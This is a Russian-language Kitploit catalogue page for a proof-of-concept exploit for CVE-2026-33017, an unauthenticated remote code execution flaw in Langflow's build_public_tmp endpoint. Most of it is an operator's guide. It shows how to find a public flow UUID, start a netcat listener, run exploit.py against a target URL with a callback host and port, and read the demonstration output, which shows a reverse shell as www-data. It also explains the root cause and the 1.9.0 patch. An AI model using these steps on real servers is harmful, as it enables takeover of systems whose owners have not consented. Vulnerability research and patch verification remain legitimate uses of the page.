Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-33017 — Эксплойт PoC для CVE-2026-33017: неаутентифицированное удалённое выполнение кода в Langflow через внедрение вредоносного пользовательского компонента Python со встроенным прослушивателем reverse shell. | Kitploit
Инструменты/GitHubGitHub/dynamo2k1/cve-2026-33017
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеИнструмент Удаленного Доступа
GitHubdynamo2k1/cve-2026-33017

CVE-2026-33017

Эксплойт PoC для CVE-2026-33017: неаутентифицированное удалённое выполнение кода в Langflow через внедрение вредоносного пользовательского компонента Python со встроенным прослушивателем reverse shell.

Репозиторий
28 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-33017 — Неавторизованное удалённое выполнение кода в Langflow

Автор: dynamo2k1
Критичность: Критический
CVSSv3: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)


Обзор

CVE-2026-33017 — это критическая уязвимость неавторизованного удалённого выполнения кода в Langflow, платформе с открытым исходным кодом для визуального создания LLM-приложений и AI-рабочих процессов.

Уязвимый эндпоинт build_public_tmp принимает управляемое атакующим поле data в теле запроса без аутентификации. Это позволяет атакующему внедрить полностью кастомное определение флоу, содержащее вредоносный Python Custom Component, код которого выполняется на сервере в процессе сборки.

Учётные данные не требуются. Нужен только валидный UUID публичного флоу.


Затронутые версии

СтатусВерсия
УязвимыеLangflow < 1.9.0
ИсправленныеLangflow 1.9.0+

Уязвимый эндпоинт

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow

Этот эндпоинт предназначен для сборки публичных (общих) флоу без аутентификации. В уязвимых версиях он также принимает управляемое атакующим поле data в теле запроса, которое передаётся напрямую в логику сборки на стороне сервера — включая любой встроенный Python-код в Custom Components.


Использование

Предварительные требования

root@kitploit:~
pip install requests urllib3

Шаг 1 — Найдите UUID публичного флоу

Просмотрите целевой экземпляр Langflow и найдите общий/публичный флоу. UUID отображается в URL:

root@kitploit:~
https://target.com/playground/7d84d636-af65-42e4-ac38-26e867052c25
                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                                        this is the flow-id

Шаг 2 — Настройте слушателя

root@kitploit:~
nc -lvnp 9001

Шаг 3 — Запустите эксплойт

root@kitploit:~
python exploit.py \
  --url https://target.com \
  --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
  --lhost <YOUR_IP> \
  --lport 9001

Или используйте встроенный интерактивный слушатель (отдельный nc не требуется):

root@kitploit:~
python exploit.py \
  --url https://target.com \
  --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
  --lhost <YOUR_IP> \
  --lport 9001 \
  --listen

Опции


Демонстрация

root@kitploit:~
[*] Target: https://target.com/api/v1/build_public_tmp/<flow-id>/flow
[*] Callback: 10.10.15.28:9001
[*] HTTP 200
[!] SHELL ESTABLISHED FROM 10.x.x.x:36522

www-data@target:/var/lib/langflow$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Как это работает

  1. Атакующий определяет UUID публичного флоу Langflow (виден в URL playground).
  2. Специально сформированный POST-запрос внедряет вредоносный Custom Component, содержащий Python-код на уровне модуля.
  3. Во время фазы сборки Langflow компилирует код компонента — выполняя полезную нагрузку атакующего до вызова любого метода.
  4. Код запускает reverse shell обратно на слушатель атакующего.

Корневая причина: build_public_tmp доверял полю data из тела запроса вместо использования только сохранённого на сервере определения флоу.

Патч: В Langflow 1.9.0 параметр data был удалён из build_public_tmp. Внешние определения флоу больше нельзя внедрить через этот эндпоинт.

Коммит патча: 73b6612


Ссылки

  • GitHub Security Advisory — GHSA-vwmf-pq79-vjvx
  • NVD — CVE-2026-33017
  • Коммит патча

Отказ от ответственности

Данный PoC предоставлен только для образовательных целей и санкционированных исследований безопасности. Используйте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение.

Скачать инструмент
ФлагОписание
--urlБазовый URL целевого Langflow
--flow-idUUID публичного флоу
--lhostВаш IP для обратного вызова reverse shell
--lportВаш порт слушателя
--listenИспользовать встроенный обработчик shell вместо внешнего nc
--timeoutТайм-аут HTTP-запроса в секундах (по умолчанию: 30)